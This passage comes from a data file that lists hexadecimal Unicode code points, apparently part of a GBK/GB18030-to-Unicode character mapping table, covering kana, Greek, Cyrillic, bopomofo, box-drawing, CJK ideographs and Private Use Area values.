0xE626, 0xE627, 0xE628, 0xE629, 0xE62A, 0xE62B, 0xE62C, 0xE62D, 0xE62E,
0xE62F, 0xE630, 0xE631, 0xE632, 0xE633, 0xE634, 0xE635, 0xE636, 0xE637,
0xE638, 0xE639, 0xE63A, 0xE63B, 0xE63C, 0xE63D, 0xE63E, 0xE63F, 0xE640,
0xE641, 0xE642, 0xE643, 0xE644, 0xE645, 0x3041, 0x3042, 0x3043, 0x3044,
0x3045, 0x3046, 0x3047, 0x3048, 0x3049, 0x304A, 0x304B, 0x304C, 0x304D,
0x304E, 0x304F, 0x3050, 0x3051, 0x3052, 0x3053, 0x3054, 0x3055, 0x3056,
0x3057, 0x3058, 0x3059, 0x305A, 0x305B, 0x305C, 0x305D, 0x305E, 0x305F,
0x3060, 0x3061, 0x3062, 0x3063, 0x3064, 0x3065, 0x3066, 0x3067, 0x3068,
0x3069, 0x306A, 0x306B, 0x306C, 0x306D, 0x306E, 0x306F, 0x3070, 0x3071,
0x3072, 0x3073, 0x3074, 0x3075, 0x3076, 0x3077, 0x3078, 0x3079, 0x307A,
0x307B, 0x307C, 0x307D, 0x307E, 0x307F, 0x3080, 0x3081, 0x3082, 0x3083,
0x3084, 0x3085, 0x3086, 0x3087, 0x3088, 0x3089, 0x308A, 0x308B, 0x308C,
0x308D, 0x308E, 0x308F, 0x3090, 0x3091, 0x3092, 0x3093, 0xE772, 0xE773,
0xE774, 0xE775, 0xE776, 0xE777, 0xE778, 0xE779, 0xE77A, 0xE77B, 0xE77C,
0xE646, 0xE647, 0xE648, 0xE649, 0xE64A, 0xE64B, 0xE64C, 0xE64D, 0xE64E,
0xE64F, 0xE650, 0xE651, 0xE652, 0xE653, 0xE654, 0xE655, 0xE656, 0xE657,
0xE658, 0xE659, 0xE65A, 0xE65B, 0xE65C, 0xE65D, 0xE65E, 0xE65F, 0xE660,
0xE661, 0xE662, 0xE663, 0xE664, 0xE665, 0xE666, 0xE667, 0xE668, 0xE669,
0xE66A, 0xE66B, 0xE66C, 0xE66D, 0xE66E, 0xE66F, 0xE670, 0xE671, 0xE672,
0xE673, 0xE674, 0xE675, 0xE676, 0xE677, 0xE678, 0xE679, 0xE67A, 0xE67B,
0xE67C, 0xE67D, 0xE67E, 0xE67F, 0xE680, 0xE681, 0xE682, 0xE683, 0xE684,
0xE685, 0xE686, 0xE687, 0xE688, 0xE689, 0xE68A, 0xE68B, 0xE68C, 0xE68D,
0xE68E, 0xE68F, 0xE690, 0xE691, 0xE692, 0xE693, 0xE694, 0xE695, 0xE696,
0xE697, 0xE698, 0xE699, 0xE69A, 0xE69B, 0xE69C, 0xE69D, 0xE69E, 0xE69F,
0xE6A0, 0xE6A1, 0xE6A2, 0xE6A3, 0xE6A4, 0xE6A5, 0x30A1, 0x30A2, 0x30A3,
0x30A4, 0x30A5, 0x30A6, 0x30A7, 0x30A8, 0x30A9, 0x30AA, 0x30AB, 0x30AC,
0x30AD, 0x30AE, 0x30AF, 0x30B0, 0x30B1, 0x30B2, 0x30B3, 0x30B4, 0x30B5,
0x30B6, 0x30B7, 0x30B8, 0x30B9, 0x30BA, 0x30BB, 0x30BC, 0x30BD, 0x30BE,
0x30BF, 0x30C0, 0x30C1, 0x30C2, 0x30C3, 0x30C4, 0x30C5, 0x30C6, 0x30C7,
0x30C8, 0x30C9, 0x30CA, 0x30CB, 0x30CC, 0x30CD, 0x30CE, 0x30CF, 0x30D0,
0x30D1, 0x30D2, 0x30D3, 0x30D4, 0x30D5, 0x30D6, 0x30D7, 0x30D8, 0x30D9,
0x30DA, 0x30DB, 0x30DC, 0x30DD, 0x30DE, 0x30DF, 0x30E0, 0x30E1, 0x30E2,
0x30E3, 0x30E4, 0x30E5, 0x30E6, 0x30E7, 0x30E8, 0x30E9, 0x30EA, 0x30EB,
0x30EC, 0x30ED, 0x30EE, 0x30EF, 0x30F0, 0x30F1, 0x30F2, 0x30F3, 0x30F4,
0x30F5, 0x30F6, 0xE77D, 0xE77E, 0xE77F, 0xE780, 0xE781, 0xE782, 0xE783,
0xE784, 0xE6A6, 0xE6A7, 0xE6A8, 0xE6A9, 0xE6AA, 0xE6AB, 0xE6AC, 0xE6AD,
0xE6AE, 0xE6AF, 0xE6B0, 0xE6B1, 0xE6B2, 0xE6B3, 0xE6B4, 0xE6B5, 0xE6B6,
0xE6B7, 0xE6B8, 0xE6B9, 0xE6BA, 0xE6BB, 0xE6BC, 0xE6BD, 0xE6BE, 0xE6BF,
0xE6C0, 0xE6C1, 0xE6C2, 0xE6C3, 0xE6C4, 0xE6C5, 0xE6C6, 0xE6C7, 0xE6C8,
0xE6C9, 0xE6CA, 0xE6CB, 0xE6CC, 0xE6CD, 0xE6CE, 0xE6CF, 0xE6D0, 0xE6D1,
0xE6D2, 0xE6D3, 0xE6D4, 0xE6D5, 0xE6D6, 0xE6D7, 0xE6D8, 0xE6D9, 0xE6DA,
0xE6DB, 0xE6DC, 0xE6DD, 0xE6DE, 0xE6DF, 0xE6E0, 0xE6E1, 0xE6E2, 0xE6E3,
0xE6E4, 0xE6E5, 0xE6E6, 0xE6E7, 0xE6E8, 0xE6E9, 0xE6EA, 0xE6EB, 0xE6EC,
0xE6ED, 0xE6EE, 0xE6EF, 0xE6F0, 0xE6F1, 0xE6F2, 0xE6F3, 0xE6F4, 0xE6F5,
0xE6F6, 0xE6F7, 0xE6F8, 0xE6F9, 0xE6FA, 0xE6FB, 0xE6FC, 0xE6FD, 0xE6FE,
0xE6FF, 0xE700, 0xE701, 0xE702, 0xE703, 0xE704, 0xE705, 0x0391, 0x0392,
0x0393, 0x0394, 0x0395, 0x0396, 0x0397, 0x0398, 0x0399, 0x039A, 0x039B,
0x039C, 0x039D, 0x039E, 0x039F, 0x03A0, 0x03A1, 0x03A3, 0x03A4, 0x03A5,
0x03A6, 0x03A7, 0x03A8, 0x03A9, 0xE785, 0xE786, 0xE787, 0xE788, 0xE789,
0xE78A, 0xE78B, 0xE78C, 0x03B1, 0x03B2, 0x03B3, 0x03B4, 0x03B5, 0x03B6,
0x03B7, 0x03B8, 0x03B9, 0x03BA, 0x03BB, 0x03BC, 0x03BD, 0x03BE, 0x03BF,
0x03C0, 0x03C1, 0x03C3, 0x03C4, 0x03C5, 0x03C6, 0x03C7, 0x03C8, 0x03C9,
0xE78D, 0xE78E, 0xE78F, 0xE790, 0xE791, 0xE792, 0xE793, 0xFE35, 0xFE36,
0xFE39, 0xFE3A, 0xFE3F, 0xFE40, 0xFE3D, 0xFE3E, 0xFE41, 0xFE42, 0xFE43,
0xFE44, 0xE794, 0xE795, 0xFE3B, 0xFE3C, 0xFE37, 0xFE38, 0xFE31, 0xE796,
0xFE33, 0xFE34, 0xE797, 0xE798, 0xE799, 0xE79A, 0xE79B, 0xE79C, 0xE79D,
0xE79E, 0xE79F, 0xE706, 0xE707, 0xE708, 0xE709, 0xE70A, 0xE70B, 0xE70C,
0xE70D, 0xE70E, 0xE70F, 0xE710, 0xE711, 0xE712, 0xE713, 0xE714, 0xE715,
0xE716, 0xE717, 0xE718, 0xE719, 0xE71A, 0xE71B, 0xE71C, 0xE71D, 0xE71E,
0xE71F, 0xE720, 0xE721, 0xE722, 0xE723, 0xE724, 0xE725, 0xE726, 0xE727,
0xE728, 0xE729, 0xE72A, 0xE72B, 0xE72C, 0xE72D, 0xE72E, 0xE72F, 0xE730,
0xE731, 0xE732, 0xE733, 0xE734, 0xE735, 0xE736, 0xE737, 0xE738, 0xE739,
0xE73A, 0xE73B, 0xE73C, 0xE73D, 0xE73E, 0xE73F, 0xE740, 0xE741, 0xE742,
0xE743, 0xE744, 0xE745, 0xE746, 0xE747, 0xE748, 0xE749, 0xE74A, 0xE74B,
0xE74C, 0xE74D, 0xE74E, 0xE74F, 0xE750, 0xE751, 0xE752, 0xE753, 0xE754,
0xE755, 0xE756, 0xE757, 0xE758, 0xE759, 0xE75A, 0xE75B, 0xE75C, 0xE75D,
0xE75E, 0xE75F, 0xE760, 0xE761, 0xE762, 0xE763, 0xE764, 0xE765, 0x0410,
0x0411, 0x0412, 0x0413, 0x0414, 0x0415, 0x0401, 0x0416, 0x0417, 0x0418,
0x0419, 0x041A, 0x041B, 0x041C, 0x041D, 0x041E, 0x041F, 0x0420, 0x0421,
0x0422, 0x0423, 0x0424, 0x0425, 0x0426, 0x0427, 0x0428, 0x0429, 0x042A,
0x042B, 0x042C, 0x042D, 0x042E, 0x042F, 0xE7A0, 0xE7A1, 0xE7A2, 0xE7A3,
0xE7A4, 0xE7A5, 0xE7A6, 0xE7A7, 0xE7A8, 0xE7A9, 0xE7AA, 0xE7AB, 0xE7AC,
0xE7AD, 0xE7AE, 0x0430, 0x0431, 0x0432, 0x0433, 0x0434, 0x0435, 0x0451,
0x0436, 0x0437, 0x0438, 0x0439, 0x043A, 0x043B, 0x043C, 0x043D, 0x043E,
0x043F, 0x0440, 0x0441, 0x0442, 0x0443, 0x0444, 0x0445, 0x0446, 0x0447,
0x0448, 0x0449, 0x044A, 0x044B, 0x044C, 0x044D, 0x044E, 0x044F, 0xE7AF,
0xE7B0, 0xE7B1, 0xE7B2, 0xE7B3, 0xE7B4, 0xE7B5, 0xE7B6, 0xE7B7, 0xE7B8,
0xE7B9, 0xE7BA, 0xE7BB, 0x02CA, 0x02CB, 0x02D9, 0x2013, 0x2015, 0x2025,
0x2035, 0x2105, 0x2109, 0x2196, 0x2197, 0x2198, 0x2199, 0x2215, 0x221F,
0x2223, 0x2252, 0x2266, 0x2267, 0x22BF, 0x2550, 0x2551, 0x2552, 0x2553,
0x2554, 0x2555, 0x2556, 0x2557, 0x2558, 0x2559, 0x255A, 0x255B, 0x255C,
0x255D, 0x255E, 0x255F, 0x2560, 0x2561, 0x2562, 0x2563, 0x2564, 0x2565,
0x2566, 0x2567, 0x2568, 0x2569, 0x256A, 0x256B, 0x256C, 0x256D, 0x256E,
0x256F, 0x2570, 0x2571, 0x2572, 0x2573, 0x2581, 0x2582, 0x2583, 0x2584,
0x2585, 0x2586, 0x2587, 0x2588, 0x2589, 0x258A, 0x258B, 0x258C, 0x258D,
0x258E, 0x258F, 0x2593, 0x2594, 0x2595, 0x25BC, 0x25BD, 0x25E2, 0x25E3,
0x25E4, 0x25E5, 0x2609, 0x2295, 0x3012, 0x301D, 0x301E, 0xE7BC, 0xE7BD,
0xE7BE, 0xE7BF, 0xE7C0, 0xE7C1, 0xE7C2, 0xE7C3, 0xE7C4, 0xE7C5, 0xE7C6,
0x0101, 0x00E1, 0x01CE, 0x00E0, 0x0113, 0x00E9, 0x011B, 0x00E8, 0x012B,
0x00ED, 0x01D0, 0x00EC, 0x014D, 0x00F3, 0x01D2, 0x00F2, 0x016B, 0x00FA,
0x01D4, 0x00F9, 0x01D6, 0x01D8, 0x01DA, 0x01DC, 0x00FC, 0x00EA, 0x0251,
0x1E3F, 0x0144, 0x0148, 0x01F9, 0x0261, 0xE7C9, 0xE7CA, 0xE7CB, 0xE7CC,
0x3105, 0x3106, 0x3107, 0x3108, 0x3109, 0x310A, 0x310B, 0x310C, 0x310D,
0x310E, 0x310F, 0x3110, 0x3111, 0x3112, 0x3113, 0x3114, 0x3115, 0x3116,
0x3117, 0x3118, 0x3119, 0x311A, 0x311B, 0x311C, 0x311D, 0x311E, 0x311F,
0x3120, 0x3121, 0x3122, 0x3123, 0x3124, 0x3125, 0x3126, 0x3127, 0x3128,
0x3129, 0xE7CD, 0xE7CE, 0xE7CF, 0xE7D0, 0xE7D1, 0xE7D2, 0xE7D3, 0xE7D4,
0xE7D5, 0xE7D6, 0xE7D7, 0xE7D8, 0xE7D9, 0xE7DA, 0xE7DB, 0xE7DC, 0xE7DD,
0xE7DE, 0xE7DF, 0xE7E0, 0xE7E1, 0x3021, 0x3022, 0x3023, 0x3024, 0x3025,
0x3026, 0x3027, 0x3028, 0x3029, 0x32A3, 0x338E, 0x338F, 0x339C, 0x339D,
0x339E, 0x33A1, 0x33C4, 0x33CE, 0x33D1, 0x33D2, 0x33D5, 0xFE30, 0xFFE2,
0xFFE4, 0xE7E2, 0x2121, 0x3231, 0xE7E3, 0x2010, 0xE7E4, 0xE7E5, 0xE7E6,
0x30FC, 0x309B, 0x309C, 0x30FD, 0x30FE, 0x3006, 0x309D, 0x309E, 0xFE49,
0xFE4A, 0xFE4B, 0xFE4C, 0xFE4D, 0xFE4E, 0xFE4F, 0xFE50, 0xFE51, 0xFE52,
0xFE54, 0xFE55, 0xFE56, 0xFE57, 0xFE59, 0xFE5A, 0xFE5B, 0xFE5C, 0xFE5D,
0xFE5E, 0xFE5F, 0xFE60, 0xFE61, 0xFE62, 0xFE63, 0xFE64, 0xFE65, 0xFE66,
0xFE68, 0xFE69, 0xFE6A, 0xFE6B, 0x303E, 0x2FF0, 0x2FF1, 0x2FF2, 0x2FF3,
0x2FF4, 0x2FF5, 0x2FF6, 0x2FF7, 0x2FF8, 0x2FF9, 0x2FFA, 0x2FFB, 0x3007,
0xE7F4, 0xE7F5, 0xE7F6, 0xE7F7, 0xE7F8, 0xE7F9, 0xE7FA, 0xE7FB, 0xE7FC,
0xE7FD, 0xE7FE, 0xE7FF, 0xE800, 0x2500, 0x2501, 0x2502, 0x2503, 0x2504,
0x2505, 0x2506, 0x2507, 0x2508, 0x2509, 0x250A, 0x250B, 0x250C, 0x250D,
0x250E, 0x250F, 0x2510, 0x2511, 0x2512, 0x2513, 0x2514, 0x2515, 0x2516,
0x2517, 0x2518, 0x2519, 0x251A, 0x251B, 0x251C, 0x251D, 0x251E, 0x251F,
0x2520, 0x2521, 0x2522, 0x2523, 0x2524, 0x2525, 0x2526, 0x2527, 0x2528,
0x2529, 0x252A, 0x252B, 0x252C, 0x252D, 0x252E, 0x252F, 0x2530, 0x2531,
0x2532, 0x2533, 0x2534, 0x2535, 0x2536, 0x2537, 0x2538, 0x2539, 0x253A,
0x253B, 0x253C, 0x253D, 0x253E, 0x253F, 0x2540, 0x2541, 0x2542, 0x2543,
0x2544, 0x2545, 0x2546, 0x2547, 0x2548, 0x2549, 0x254A, 0x254B, 0xE801,
0xE802, 0xE803, 0xE804, 0xE805, 0xE806, 0xE807, 0xE808, 0xE809, 0xE80A,
0xE80B, 0xE80C, 0xE80D, 0xE80E, 0xE80F, 0x72DC, 0x72DD, 0x72DF, 0x72E2,
0x72E3, 0x72E4, 0x72E5, 0x72E6, 0x72E7, 0x72EA, 0x72EB, 0x72F5, 0x72F6,
0x72F9, 0x72FD, 0x72FE, 0x72FF, 0x7300, 0x7302, 0x7304, 0x7305, 0x7306,
0x7307, 0x7308, 0x7309, 0x730B, 0x730C, 0x730D, 0x730F, 0x7310, 0x7311,
0x7312, 0x7314, 0x7318, 0x7319, 0x731A, 0x731F, 0x7320, 0x7323, 0x7324,
0x7326, 0x7327, 0x7328, 0x732D, 0x732F, 0x7330, 0x7332, 0x7333, 0x7335,
0x7336, 0x733A, 0x733B, 0x733C, 0x733D, 0x7340, 0x7341, 0x7342, 0x7343,
0x7344, 0x7345, 0x7346, 0x7347, 0x7348, 0x7349, 0x734A, 0x734B, 0x734C,
0x734E, 0x734F, 0x7351, 0x7353, 0x7354, 0x7355, 0x7356, 0x7358, 0x7359,
0x735A, 0x735B, 0x735C, 0x735D, 0x735E, 0x735F, 0x7361, 0x7362, 0x7363,
0x7364, 0x7365, 0x7366, 0x7367, 0x7368, 0x7369, 0x736A, 0x736B, 0x736E,
0x7370, 0x7371, 0xE000, 0xE001, 0xE002, 0xE003, 0xE004, 0xE005, 0xE006,
0xE007, 0xE008, 0xE009, 0xE00A, 0xE00B, 0xE00C, 0xE00D, 0xE00E, 0xE00F,
0xE010, 0xE011, 0xE012, 0xE013, 0xE014, 0xE015, 0xE016, 0xE017, 0xE018,
0xE019, 0xE01A, 0xE01B, 0xE01C, 0xE01D, 0xE01E, 0xE01F, 0xE020, 0xE021,
0xE022, 0xE023, 0xE024, 0xE025, 0xE026, 0xE027, 0xE028, 0xE029, 0xE02A,
0xE02B, 0xE02C, 0xE02D, 0xE02E, 0xE02F, 0xE030, 0xE031, 0xE032, 0xE033,
0xE034, 0xE035, 0xE036, 0xE037, 0xE038, 0xE039, 0xE03A, 0xE03B, 0xE03C,
0xE03D, 0xE03E, 0xE03F, 0xE040, 0xE041, 0xE042, 0xE043, 0xE044, 0xE045,
0xE046, 0xE047, 0xE048, 0xE049, 0xE04A, 0xE04B, 0xE04C, 0xE04D, 0xE04E,
0xE04F, 0xE050, 0xE051, 0xE052, 0xE053, 0xE054, 0xE055, 0xE056, 0xE057,
0xE058, 0xE059, 0xE05A, 0xE05B, 0xE05C, 0xE05D, 0x7372, 0x7373, 0x7374,
0x7375, 0x7376, 0x7377, 0x7378, 0x7379, 0x737A, 0x737B, 0x737C, 0x737D,
0x737F, 0x7380, 0x7381, 0x7382, 0x7383, 0x7385, 0x7386, 0x7388, 0x738A,
0x738C, 0x738D, 0x738F, 0x7390, 0x7392, 0x7393, 0x7394, 0x7395, 0x7397,
0x7398, 0x7399, 0x739A, 0x739C, 0x739D, 0x739E, 0x73A0, 0x73A1, 0x73A3,
0x73A4, 0x73A5, 0x73A6, 0x73A7, 0x73A8, 0x73AA, 0x73AC, 0x73AD, 0x73B1,
0x73B4, 0x73B5, 0x73B6, 0x73B8, 0x73B9, 0x73BC, 0x73BD, 0x73BE, 0x73BF,
0x73C1, 0x73C3, 0x73C4, 0x73C5, 0x73C6, 0x73C7, 0x73CB, 0x73CC, 0x73CE,
0x73D2, 0x73D3, 0x73D4, 0x73D5, 0x73D6, 0x73D7, 0x73D8, 0x73DA, 0x73DB,
0x73DC, 0x73DD, 0x73DF, 0x73E1, 0x73E2, 0x73E3, 0x73E4, 0x73E6, 0x73E8,
0x73EA, 0x73EB, 0x73EC, 0x73EE, 0x73EF, 0x73F0, 0x73F1, 0x73F3, 0x73F4,
0x73F5, 0x73F6, 0x73F7, 0xE05E, 0xE05F, 0xE060, 0xE061, 0xE062, 0xE063,
0xE064, 0xE065, 0xE066, 0xE067, 0xE068, 0xE069, 0xE06A, 0xE06B, 0xE06C,
0xE06D, 0xE06E, 0xE06F, 0xE070, 0xE071, 0xE072, 0xE073, 0xE074, 0xE075,
0xE076, 0xE077, 0xE078, 0xE079, 0xE07A, 0xE07B, 0xE07C, 0xE07D, 0xE07E,
0xE07F, 0xE080, 0xE081, 0xE082, 0xE083, 0xE084, 0xE085, 0xE086, 0xE087,
0xE088, 0xE089, 0xE08A, 0xE08B, 0xE08C, 0xE08D, 0xE08E, 0xE08F, 0xE090,
0xE091, 0xE092, 0xE093, 0xE094, 0xE095, 0xE096, 0xE097, 0xE098, 0xE099,
0xE09A, 0xE09B, 0xE09C, 0xE09D, 0xE09E, 0xE09F, 0xE0A0, 0xE0A1, 0xE0A2,
0xE0A3, 0xE0A4, 0xE0A5, 0xE0A6, 0xE0A7, 0xE0A8, 0xE0A9, 0xE0AA, 0xE0AB,
0xE0AC, 0xE0AD, 0xE0AE, 0xE0AF, 0xE0B0, 0xE0B1, 0xE0B2, 0xE0B3, 0xE0B4,
0xE0B5, 0xE0B6, 0xE0B7, 0xE0B8, 0xE0B9, 0xE0BA, 0xE0BB, 0x73F8, 0x73F9,
0x73FA, 0x73FB, 0x73FC, 0x73FD, 0x73FE, 0x73FF, 0x7400, 0x7401, 0x7402,
0x7404, 0x7407, 0x7408, 0x740B, 0x740C, 0x740D, 0x740E, 0x7411, 0x7412,
0x7413, 0x7414, 0x7415, 0x7416, 0x7417, 0x7418, 0x7419, 0x741C, 0x741D,
0x741E, 0x741F, 0x7420, 0x7421, 0x7423, 0x7424, 0x7427, 0x7429, 0x742B,
0x742D, 0x742F, 0x7431, 0x7432, 0x7437, 0x7438, 0x7439, 0x743A, 0x743B,
0x743D, 0x743E, 0x743F, 0x7440, 0x7442, 0x7443, 0x7444, 0x7445, 0x7446,
0x7447, 0x7448, 0x7449, 0x744A, 0x744B, 0x744C, 0x744D, 0x744E, 0x744F,
0x7450, 0x7451, 0x7452, 0x7453, 0x7454, 0x7456, 0x7458, 0x745D, 0x7460,
0x7461, 0x7462, 0x7463, 0x7464, 0x7465, 0x7466, 0x7467, 0x7468, 0x7469,
0x746A, 0x746B, 0x746C, 0x746E, 0x746F, 0x7471, 0x7472, 0x7473, 0x7474,
0x7475, 0x7478, 0x7479, 0x747A, 0xE0BC, 0xE0BD, 0xE0BE, 0xE0BF, 0xE0C0,
0xE0C1, 0xE0C2, 0xE0C3, 0xE0C4, 0xE0C5, 0xE0C6, 0xE0C7, 0xE0C8, 0xE0C9,
0xE0CA, 0xE0CB, 0xE0CC, 0xE0CD, 0xE0CE, 0xE0CF, 0xE0D0, 0xE0D1, 0xE0D2,
0xE0D3, 0xE0D4, 0xE0D5, 0xE0D6, 0xE0D7, 0xE0D8, 0xE0D9, 0xE0DA, 0xE0DB,
0xE0DC, 0xE0DD, 0xE0DE, 0xE0DF, 0xE0E0, 0xE0E1, 0xE0E2, 0xE0E3, 0xE0E4,
0xE0E5, 0xE0E6, 0xE0E7, 0xE0E8, 0xE0E9, 0xE0EA, 0xE0EB, 0xE0EC, 0xE0ED,
0xE0EE, 0xE0EF, 0xE0F0, 0xE0F1, 0xE0F2, 0xE0F3, 0xE0F4, 0xE0F5, 0xE0F6,
0xE0F7, 0xE0F8, 0xE0F9, 0xE0FA, 0xE0FB, 0xE0FC, 0xE0FD, 0xE0FE, 0xE0FF,
0xE100, 0xE101, 0xE102, 0xE103, 0xE104, 0xE105, 0xE106, 0xE107, 0xE108,
0xE109, 0xE10A, 0xE10B, 0xE10C, 0xE10D, 0xE10E, 0xE10F, 0xE110, 0xE111,
0xE112, 0xE113, 0xE114, 0xE115, 0xE116, 0xE117, 0xE118, 0xE119, 0x747B,
0x747C, 0x747D, 0x747F, 0x7482, 0x7484, 0x7485, 0x7486, 0x7488, 0x7489,
0x748A, 0x748C, 0x748D, 0x748F, 0x7491, 0x7492, 0x7493, 0x7494, 0x7495,
0x7496, 0x7497, 0x7498, 0x7499, 0x749A, 0x749B, 0x749D, 0x749F, 0x74A0,
0x74A1, 0x74A2, 0x74A3, 0x74A4, 0x74A5, 0x74A6, 0x74AA, 0x74AB, 0x74AC,
0x74AD, 0x74AE, 0x74AF, 0x74B0, 0x74B1, 0x74B2, 0x74B3, 0x74B4, 0x74B5,
0x74B6, 0x74B7, 0x74B8, 0x74B9, 0x74BB, 0x74BC, 0x74BD, 0x74BE, 0x74BF,
0x74C0, 0x74C1, 0x74C2, 0x74C3, 0x74C4, 0x74C5, 0x74C6, 0x74C7, 0x74C8,
0x74C9, 0x74CA, 0x74CB, 0x74CC, 0x74CD, 0x74CE, 0x74CF, 0x74D0, 0x74D1,
0x74D3, 0x74D4, 0x74D5, 0x74D6, 0x74D7, 0x74D8, 0x74D9, 0x74DA, 0x74DB,
0x74DD, 0x74DF, 0x74E1, 0x74E5, 0x74E7, 0x74E8, 0x74E9, 0x74EA, 0x74EB,
0x74EC, 0x74ED, 0x74F0, 0x74F1, 0x74F2, 0xE11A, 0xE11B, 0xE11C, 0xE11D,
0xE11E, 0xE11F, 0xE120, 0xE121, 0xE122, 0xE123, 0xE124, 0xE125, 0xE126,
0xE127, 0xE128, 0xE129, 0xE12A, 0xE12B, 0xE12C, 0xE12D, 0xE12E, 0xE12F,
0xE130, 0xE131, 0xE132, 0xE133, 0xE134, 0xE135, 0xE136, 0xE137, 0xE138,
0xE139, 0xE13A, 0xE13B, 0xE13C, 0xE13D, 0xE13E, 0xE13F, 0xE140, 0xE141,
0xE142, 0xE143, 0xE144, 0xE145, 0xE146, 0xE147, 0xE148, 0xE149, 0xE14A,
0xE14B, 0xE14C, 0xE14D, 0xE14E, 0xE14F, 0xE150, 0xE151, 0xE152, 0xE153,
0xE154, 0xE155, 0xE156, 0xE157, 0xE158, 0xE159, 0xE15A, 0xE15B, 0xE15C,
0xE15D, 0xE15E, 0xE15F, 0xE160, 0xE161, 0xE162, 0xE163, 0xE164, 0xE165,
0xE166, 0xE167, 0xE168, 0xE169, 0xE16A, 0xE16B, 0xE16C, 0xE16D, 0xE16E,
0xE16F, 0xE170, 0xE171, 0xE172, 0xE173, 0xE174, 0xE175, 0xE176, 0xE177,
0x74F3, 0x74F5, 0x74F8, 0x74F9, 0x74FA, 0x74FB, 0x74FC, 0x74FD, 0x74FE,
0x7500, 0x7501, 0x7502, 0x7503, 0x7505, 0x7506, 0x7507, 0x7508, 0x7509,
0x750A, 0x750B, 0x750C, 0x750E, 0x7510, 0x7512, 0x7514, 0x7515, 0x7516,
0x7517, 0x751B, 0x751D, 0x751E, 0x7520, 0x7521, 0x7522, 0x7523, 0x7524,
0x7526, 0x7527, 0x752A, 0x752E, 0x7534, 0x7536, 0x7539, 0x753C, 0x753D,
0x753F, 0x7541, 0x7542, 0x7543, 0x7544, 0x7546, 0x7547, 0x7549, 0x754A,
0x754D, 0x7550, 0x7551, 0x7552, 0x7553, 0x7555, 0x7556, 0x7557, 0x7558,
0x755D, 0x755E, 0x755F, 0x7560, 0x7561, 0x7562, 0x7563, 0x7564, 0x7567,
0x7568, 0x7569, 0x756B, 0x756C, 0x756D, 0x756E, 0x756F, 0x7570, 0x7571,
0x7573, 0x7575, 0x7576, 0x7577, 0x757A, 0x757B, 0x757C, 0x757D, 0x757E,
0x7580, 0x7581, 0x7582, 0x7584, 0x7585, 0x7587, 0xE178, 0xE179, 0xE17A,
0xE17B, 0xE17C, 0xE17D, 0xE17E, 0xE17F, 0xE180, 0xE181, 0xE182, 0xE183,
0xE184, 0xE185, 0xE186, 0xE187, 0xE188, 0xE189, 0xE18A, 0xE18B, 0xE18C,
0xE18D, 0xE18E, 0xE18F, 0xE190, 0xE191, 0xE192, 0xE193, 0xE194, 0xE195,
0xE196, 0xE197, 0xE198, 0xE199, 0xE19A, 0xE19B, 0xE19C, 0xE19D, 0xE19E,
0xE19F, 0xE1A0, 0xE1A1, 0xE1A2, 0xE1A3, 0xE1A4, 0xE1A5, 0xE1A6, 0xE1A7,
0xE1A8, 0xE1A9, 0xE1AA, 0xE1AB, 0xE1AC, 0xE1AD, 0xE1AE, 0xE1AF, 0xE1B0,
0xE1B1, 0xE1B2, 0xE1B3, 0xE1B4, 0xE1B5, 0xE1B6, 0xE1B7, 0xE1B8, 0xE1B9,
0xE1BA, 0xE1BB, 0xE1BC, 0xE1BD, 0xE1BE, 0xE1BF, 0xE1C0, 0xE1C1, 0xE1C2,
0xE1C3, 0xE1C4, 0xE1C5, 0xE1C6, 0xE1C7, 0xE1C8, 0xE1C9, 0xE1CA, 0xE1CB,
0xE1CC, 0xE1CD, 0xE1CE, 0xE1CF, 0xE1D0, 0xE1D1, 0xE1D2, 0xE1D3, 0xE1D4,
0xE1D5, 0x7588, 0x7589, 0x758A, 0x758C, 0x758D, 0x758E, 0x7590, 0x7593,
0x7595, 0x7598, 0x759B, 0x759C, 0x759E, 0x75A2, 0x75A6, 0x75A7, 0x75A8,
0x75A9, 0x75AA, 0x75AD, 0x75B6, 0x75B7, 0x75BA, 0x75BB, 0x75BF, 0x75C0,
0x75C1, 0x75C6, 0x75CB, 0x75CC, 0x75CE, 0x75CF, 0x75D0, 0x75D1, 0x75D3,
0x75D7, 0x75D9, 0x75DA, 0x75DC, 0x75DD, 0x75DF, 0x75E0, 0x75E1, 0x75E5,
0x75E9, 0x75EC, 0x75ED, 0x75EE, 0x75EF, 0x75F2, 0x75F3, 0x75F5, 0x75F6,
0x75F7, 0x75F8, 0x75FA, 0x75FB, 0x75FD, 0x75FE, 0x7602, 0x7604, 0x7606,
0x7607, 0x7608, 0x7609, 0x760B, 0x760D, 0x760E, 0x760F, 0x7611, 0x7612,
0x7613, 0x7614, 0x7616, 0x761A, 0x761C, 0x761D, 0x761E, 0x7621, 0x7623,
0x7627, 0x7628, 0x762C, 0x762E, 0x762F, 0x7631, 0x7632, 0x7636, 0x7637,
0x7639, 0x763A, 0x763B, 0x763D, 0x7641, 0x7642, 0x7644, 0xE1D6, 0xE1D7,
0xE1D8, 0xE1D9, 0xE1DA, 0xE1DB, 0xE1DC, 0xE1DD, 0xE1DE, 0xE1DF, 0xE1E0,
0xE1E1, 0xE1E2, 0xE1E3, 0xE1E4, 0xE1E5, 0xE1E6, 0xE1E7, 0xE1E8, 0xE1E9,
0xE1EA, 0xE1EB, 0xE1EC, 0xE1ED, 0xE1EE, 0xE1EF, 0xE1F0, 0xE1F1, 0xE1F2,
0xE1F3, 0xE1F4, 0xE1F5, 0xE1F6, 0xE1F7, 0xE1F8, 0xE1F9, 0xE1FA, 0xE1FB,
0xE1FC, 0xE1FD, 0xE1FE, 0xE1FF, 0xE200, 0xE201, 0xE202, 0xE203, 0xE204,
0xE205, 0xE206, 0xE207, 0xE208, 0xE209, 0xE20A, 0xE20B, 0xE20C, 0xE20D,
0xE20E, 0xE20F, 0xE210, 0xE211, 0xE212, 0xE213, 0xE214, 0xE215, 0xE216,
0xE217, 0xE218, 0xE219, 0xE21A, 0xE21B, 0xE21C, 0xE21D, 0xE21E, 0xE21F,
0xE220, 0xE221, 0xE222, 0xE223, 0xE224, 0xE225, 0xE226, 0xE227, 0xE228,
0xE229, 0xE22A, 0xE22B, 0xE22C, 0xE22D, 0xE22E, 0xE22F, 0xE230, 0xE231,
0xE232, 0xE233, 0x7645, 0x7646, 0x7647, 0x7648, 0x7649, 0x764A, 0x764B,
0x764E, 0x764F, 0x7650, 0x7651, 0x7652, 0x7653, 0x7655, 0x7657, 0x7658,
0x7659, 0x765A, 0x765B, 0x765D, 0x765F, 0x7660, 0x7661, 0x7662, 0x7664,
0x7665, 0x7666, 0x7667, 0x7668, 0x7669, 0x766A, 0x766C, 0x766D, 0x766E,
